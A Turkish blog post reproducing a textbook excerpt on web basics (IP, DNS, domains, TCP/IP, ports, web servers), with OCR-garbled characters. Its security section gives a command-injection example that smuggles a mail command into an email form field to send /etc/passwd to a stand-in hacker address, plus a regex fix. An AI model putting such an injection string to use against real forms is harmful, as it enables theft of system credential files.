22 Haziran 2016 Çarşamba

BİR WEB SİTESİ İÇİN BİLİNMESİ GEREKEN TEMEL BİLGİLER

Bir Web Sitesi Bilinmesi Gereken Temel Bilgiler
Bir web sitesi için
 Her web adresi aslında bir numara bloku tarafından
temsil edilir. Bu o sitenin IP numarasıdır. Örneğin
212.175.12.43 gibi.
 IP numarası hatırlamak kolay olmadığından her
site için bir isim tanımlanmasının hatırlamayı kolay
kılacağı düĢünülmüĢtür. Bu isimlere alan adı
(domain name) denir.
 Hangi ismin hangi IP tarafından karĢılanacağını
tutmak içinse NS (name server) dediğimiz rehber
bilgisayarlar kurulmuĢtur. (9 ana NS bilgisayar
vardır ve tamamı ABD ‗dedir). Name server üzeride
kayıt sorgulamak içine DNS denilen servisten
yararlanılır. Örneğin IP adresi olarak
194.27.128.101 gibi numaraları akılda tutmak zor
olduğundan 1983‘te Wisconsin Üniversitesi DNS‘yi
geliĢtirmiĢtir. DNS isimleri rakamlara çevirir ve bu
da daha kolay kullanım sağlar. Bazen Ttnet DNS
sunucuları hata verdiğinden ―internet çalıĢmıyor‖
diyenler olur. Oysa adres çubuğuna IP no yazılırsa
siteye eriĢim sağlanması mümkündür.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
27
 Ġsimleri tahsis etmek ve çakıĢmaları önlemek üzere
Domain Register iĢi yapan Ģirketler kurulmuĢtur.
Bunların iĢi uygun bir alan adını belirli bir ücret
karĢılığı kullanıcılara kiralamaktır. Kiralama iĢlemi
ile birlikte bu alan adının internette hangi IP no
üzerinde olduğuda burada kayıt altına alınır.
 Bir sitenin eriĢilebilir olması için DNS bilgisayarında
IP ile ağa bağlı bir bilgisayar olması gerekir. Bu
kendi bilgisayarımızda olabilir ancak bu sistemlerin
gerçek sunucu olması iĢlemlerin aksamasını
engelleyeceğinden ve bu sunucularda bizim için
hayli masraflı olacağından yeni bir iĢkolu
doğmuĢtur. HOSTING dediğimiz bu iĢ kolunun ana
amacı kullanıcıların web sitelerini kendi
sistemlerinde yayınlamak ve bunun karĢılığında
ücret almaktır.
 Hosting Ģirketleri sunucu bilgisayarlarına Web
server adı verilen bir program kurarlar. Bu
program ise 80 nolu portu dinleyere kendisine
bağlanan kiĢilere istedikleri dosyaları iletir.
 Web server ile kullanıcı TCP/IP iletiĢim protokolü
üzerinden konuĢurlar.
 Kullanıcı Web Server programına kendisine kurulu
olan ve Browser (Web tarayıcı, Gezgin) adı verilen
programlar ile 80 nolu http portundan bağlanır.
 Kullanıcıları ile Web server arasında köprü olarak
ise internete çıkarmak üzere Internet Servis
Sağlayıcı (ISS- Ingilizcesi ISP – Internet Service
Provider) yer almaktadır. Zaten gerçek zamanlı
iletiĢimi gereksiz kılanda bu iĢlemdir bir nevi.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
28
Kullanıcı örneğin www.tcmb.gov.tr yazdığında
browser bu talebi ISS‘ te bağlandığı bilgisayara
iletmekte, o da gerekli arama iĢleminden sonra
bilgiyi talep etmektedir. ĠĢte bu aĢamada kullanıcı
bağlantıyı kesse bile web server bunu
bilmemektedir. Zaten bilmesine de gerek yoktur.
 Web sunucu HTML metni ( içerik ve o içeriğin
ekranda nasıl gösterileceğine dair biçimlendirme
bilgileri) gönderir ancak metni biçimlendirme iĢlemi
kullanıcı tarafından yer alan browser tarafından
yerine getirilir. Browserlar iĢte bu yüzden HTML
yorumlama motoru denilen engine barındırırılar.
Her yorumlayıcı farklı mantıkla ve ayrı firmalar
tarafından yazıldığından bazı metinlerin ekranda
görüntüleme iĢleminde farklılıklar oluĢabilir. Ayrıca
bazen Ģirketler sadece kendi tarayıcısına yönelik
etiketleri üstelik W3C tarafından onaylanmadan
motoruna ekleyebilir.
Örneğin BLINK etiketi NETSCAPE O yüzden site
tasarımında ne çok bu konuya dikkat edilmelidir.
Dolayısı ile BLINK kullanılan bir sayfa Netscape ile
normal görünürken, Safari ile farklı görünecektir.
En büyük Ģansımız ise tarayıcılar hatalı bir etikete
rastlayınca bunu göz ardı ederek geri kalanları
çalıĢtırmaya devam etmesidir.

Domain Uzantı Adları
Günümüzde alan adları yaĢanan sıkıntıların ardından
çeĢitlendirilmiĢ ve alternatifler artmıĢtır. Ancak biz temel
standartlar üzerinden anlamlarını belirtelim.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
29
.com -Ticari Ģirketlere ait alan adını belirtir
.edu -Eğitim kurumlarına ait alan adını belirtir
.gov -Hükümet ve devlete ait alan adını belirtir
.mil -Askeri alan adını belirtir
.net -Ağ servis sağlayıcılarına ait alan adını belirtir
.org -Dernek, spor kulübü gibi organizasyonlara ait alan
adını belitir

TCP / IP
Transmission Control Protocol / Internet Protocol
Kelimelerinin baĢ harflerinden oluĢan Paul Baran
tarafından düĢünülmüĢ bir sistemdir. Paul Baran‘dan
talep edilen Ģey Ģuydu. ―A,B,C Ģehirlerinde
bilgisayarlarımız var, A,B,C birbirleriyle konuĢabilsin,
bilgi gönderebilsin, ama A devre dıĢı kalsa bile B ve C
konuĢmaya devam edebilsin, bu diğerleride içinde geçerli
olsun‖. Paul Baran bu iĢ için paket anahtarlamalı ağ
iletiĢimi tekniğini düĢündü. Çünkü istenen Ģey verinin
iletilmesiydi. Her koşul ve şart altında bile verinin
iletilmesi birinci öncelikti. (İlk öncelik güvenlik
olmadığı içinde bu gün güvenlik anlamında bir sürü
ekstra yatırıma vs gerek duyulmakta). Veriler
paketlere bölünecek ve hedef yerde bu paketler
birleĢince verinin kendisi oluĢmuĢ olacaktı.
Paul Baran daha sonra A,B,C lokasyonlarının
nükleer füze merkezleri olduğunu öğrendiğinde
aslında geliştirdiği şeyin ne olduğunu anlamıştı
anlamasına da bilmeden de olsa internetin ilk
öncüsü de olmuştu. Kısaca TCP / IP protokolü de
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
30
Ģüphesiz ilk olarak askeri amaçlı geliĢtirilen bir
protokoldü ve temel amacı ―bir nükleer savaĢ anında
tüm telefon Ģebekesi yok olsa bile biz iletiĢimi devam
edip karĢı tarafa nükleer saldırı ile cevap verebilelim.―
1983 yılında TCP / IP ye temel hali verildi. TCP / IP
protokolü Unix iĢletim sistemine eklenmiĢ ve 1984
yılında DNS kavramı oluĢturulmuĢtur. Günümüzde
internet hayatın içine öyle girmiĢtir ki, TCP / IP sadece
internetin değil tüm ağ protokollerinin arasından en çok
kullanılan durumuna yükselmiĢtir.

PORT
TCP / IP de her bilgi bilgisayarlar arasında portlar
üzerinden iletilir. Ġletim için geçilen yol aynı olsada
bilgilerin doğru adrese gitmesi için portların kullanımı
Ģarttır. Bir gazete datıcısını düĢünün. Dağıtım kanalı hep
aynıdır. Sokaklar. Ancak gazetelere doğru yerlere
ulaĢtırmasının tek yolu adreslerdir. Yani kapı numaraları.
HTTP iĢlemleri için 80 nolu port kullanılır. Mail alıp
gönderme için 25 ve 110 nolu portlar kullanılır. MSN,
ICQ, IRC, FTP vs vsvs tüm yazılımların ayrı bir port
kullanımı vardır.
TCP /IP veriyi iletirken baĢına port‘u da kaydettiğinden, o
paketin hangi yazılım için olduğu bilgisi de otomatikman
iletilmiĢ sayılabilir. Böylece bilgisayarda aynı anda bir çok
yazılım ile internet kullanılabilmektedir.

Web Server
Internette tanımlı bir alan adına karĢılık gelen bir numara
(IP numarası) vardır demiĢtik. Bu IP nolu bilgisayar sayfa
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
31
gelen kiĢilere istedikleri bilgileri gönderebilmek için hep
açık olmak zorundadır. Ayrıca bu bilgisayarda gelen
talepleri toplayıp onlara cevap verecek bir de program
yüklü olmalıdır.
Web server aslında hem bu iĢlere yarayan programlara
hemde bu programların kurulduğu bilgisayarlara verilen
bir isimdir. Kafa karıĢtırıcı olabilir ama ama iki tanımda
doğrudur. En çok bilinen Web Server programları
Apache, MS Internet Information Server (IIS),
Xitami gibi yaygın sunuculardır.
Bu programların, bilgi alıp-vermenin yanı sıra, elektronik
posta alıp verme ve yönlendirme, veritabanlarına eriĢme
ve içinden seçme yapma (Query, SQL, vb. gibi), kendi
sabit diskinde duran bir dosyayı alıp karĢı tarafa aktarma
(FTP, Gopher, WAIS) veya karĢı tarafın vereceği dosyayı
alıp kendi sabit diskine kaydetme yeteneği olur.
Ġlk Web Server programı, yukarıda, HTML dilinin
geliĢtirilmesindeki öncü konumu nedeniyle sözünü
ettiğimiz, Ġsviçre‘deki CERN kurumu tarafından
geliĢtirildi; ama kısa zamanda UNIX platformunda,
anonim bir tarzda ve ücret ödemeden kullanılabilen bir
Ģekil aldı. KiĢisel bilgisayarların UNIX gerektiren
bilgisayarlara oranla daha ucuz olması, Microsoft‘un NT,
IBM‘in OS/2 iĢletme sistemlerinin UNIX‘e ciddî rakip
haline gelmiĢ bulunmaları nedeniyle, bu sistemlere dayalı
Web Server programları da hızla artmaktadır.
Apache Web Server ise bir çok iĢletim sisteminde
çalıĢabilmesi ve ücretsiz olması nedeniyle Linux ile
birlikte iyi bir ikili olmuĢ ve Internette en çok kullanılan
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
32
Web Server olma özelliğini açık ara ile elinde
tutmaktadır.
Apache
 Açık kaynak kodludur
 Bir çok iĢletim sisteminde çalıĢabilir (hatta bir çok
sistemde zaten kurulu halde gelir)
 Tamamen ücretsizdir
IIS
 Kaynak kodu kapalıdır.
 Windows iĢletim sisteminde çalıĢır.
 Ücretsiz değildir.
Linux ve FreeBSD adlı, ücretsiz dağıtılan UNIX iĢletme
sistemleri de, ticarî olanları aratmayacak niteliklere
sahiptir. Ayrıca bu tür ücretsiz programlar, Apache Web
Server‘ın ücretsiz sürümünü de içerdiklerinden sıfır
maliyet ve kurulum ile web server edinmek mümkündür.
Bir Web Server yazılım paketi seçerken dikkat edilmesi
gereken bir kaç ilkeyi sıralayalım:
1. Yazılım paketi yeterli güvenliği sağlayacak özelliklere
sahip olmalıdır. Binalarda bir odadaki yangının yandaki
odaya sıçramasını önleyen ateĢe dayanıklı duvarlardan
(Firewall) esinlenerek adlandırılan bir dizi program,
Web Server yazılımının bulunduğu bilgisayarın, kötü
niyetli kiĢiler tarafından bozulmasına engel olmaktadır.
Ancak Web Server‘ın kendi içinde mevcut güvenlik
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
33
önlemlerinin neler olduğunu dikkatle araĢtırmanız
gerekir. Bunuda tarafsız bir gözle yapmak gerekir
örneğin çoğu kiĢi için Unix çok güvenli, Windows ise
berbattır yada bunun tersi düĢünülebilir. Oysa bu bir
takım tutma olayı değild,r ve önyargılı olmak yanlıĢtır.
Asıl güvensiz olan sistem değil sistemin baĢında oturan
sistem yöneticisidir.
Yönetici ne kadar dikkat ederse sistemde o kadar
güvende demektir. Burada önemli olan, Internet‘e
açılmanın, iyi niyetli-kötü niyetli herkese açılmak
olduğunu unutmamaktır. Özellikle form denilen,
HTML‘in ziyaretçi bilgisayarın evsahibi bilgisayara
talepten baĢka Ģeyler göndermesine imkan veren
etiketlerini ve ona bağlı CGI (Common Gateway
Interface-Ortak Geçit Arabirimi) adı verilen ziyaretçinin
ev sahibi bilgisayardaki programları harekete
geçirebildiği buluĢma noktasında yer alacak
programları tasarlarken, daima kötüniyetli kiĢileri
dikkate alarak hareket etmek gerekir. Internet‘te
güvenliğin ne kadar kolay sarsılabildiğine ve ne kadar
kolay önlem alınabileceğini bir örnek verelim.
Sayfanızda, ziyaretçinin doldurması gereken ―Elektronik
Posta Adresiniz:‖ diye bir metin kutusu bulunduğunu
düĢünün. Bu kutuya bütün ziyaretçilerin elektronik posta
adreslerini yazacaklarını düĢünüyor ve bu bilgiyi
iĢleyecek CGI programında, ziyaretçinin bu kutuya
yazacağı bilgiyi, alıp doğruca Web Server‘ın ―Mail‖
programına veriyorsunuz.
Peki, ya kullanıcı adres yerine;
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
34
“benhacker@hacklendin.com; mail
hacker1@hacker.com</etc/passwd”
yazarsa? Bu yaptığınız basit ama ölümcül hata sonucu,
forma girilen bu adrese, bilgisayar sisteminizdeki bütün
password-parola dosyaları email ile gönderilecektir.
Oysa, programı yazan kiĢi, elektronik posta adresini Mail
programına gönderirken ―unless ($mail_to = ~/^[\w-
.]+\@[\w-.]+$)‖ Ģeklinde bir satırla, girilen bilgideki
karakterleri kontrol etse sorun halledilebilecektir.
2. Özel Bilgilerin Korunması ve Doğrulatma: Web
hizmeti sunan kiĢi, sadece baĢkalarının kendi
bilgisayar sisteminde arzu edilmeyen Ģeyler
yapmalarını önlemekten değil, aynı zamanda
kendisine emanet edilen baĢkalarına ait bilgileri de
saklamak ve baĢkalarından korumak zorundadır. Bu
bilgiler, ziyaretçinin adı, elektronik adresi, hatta kredi
kartı numarası olabilir. Bunlar, sizin Internet‘te
çizdiğiniz portreye güvenilerek size verilmiĢ mahrem
bilgilerdir.
Ziyaretçi bu bilgileri size, kötüye kullanılmayacağı
güvencesiyle vermektedir. Aynı bağlamda, Web
hizmeti sunan kiĢi olarak, sizin de bu bilgilerin
kolayca ve baĢkalarına açık hale getirilmeden
doğrulatılmasına ihtiyacınız olacaktır. Web Server
programınız, örneğin kredi kartı numarasını, yeni
programlar edinmeye ihtiyaç kalmadan
doğrulatabilmelidir.
3. Web Server, siteye yapılan ziyareterin kaydını uygun
Ģekle kayıt altına almalıdır? Örneğin sayfanıza kaç kiĢi
uğramıĢ, sitenizin en çok hangi sayfası
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
35
görüntülenmiĢ, en çok hangi dosya indirilmiĢ, han
gisteden sizin sitenize en çok ziyaretçi gelmiĢ
bunların bilinmesi önemlidir.
Özellikle elektronik ticarete dayalı veya mesajını daha
çok sayıda kiĢiye iletmek amacıyla hazırlanan Web
alanlarını iĢletenlerin, sayfalarının varlığını duyurmak
için, mümkün olan her yoldan yararlanmaları gerekir.
Çok önemsiz gibi görünebilir ama Google içerik ile
reklamı birleĢtirmeyi akıl eden reklam yapısı Ģu anda
alanında dünyanın en büyüğü olmayı baĢarmıĢ bir
Ģirket. Örneği sitenize gelen ziyaretçi eğer mobilya
hakkında bilgi arıyor ise belkide mobilya almaya
niyeti vardır bu durumda ona mobilya reklamı
gösterilmelidir… ĠĢte bu formül Google Ģirketini bir
numara yapmıĢtır.
4. Web Server programıyla ilgili teknik destek ve sorun
çözme hizmeti alıp almamak, programın seçiminde
belki de en önemli unsur sayılabilir.

HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 -ALINTIDIR.

Hiç yorum yok:

Yorum Gönder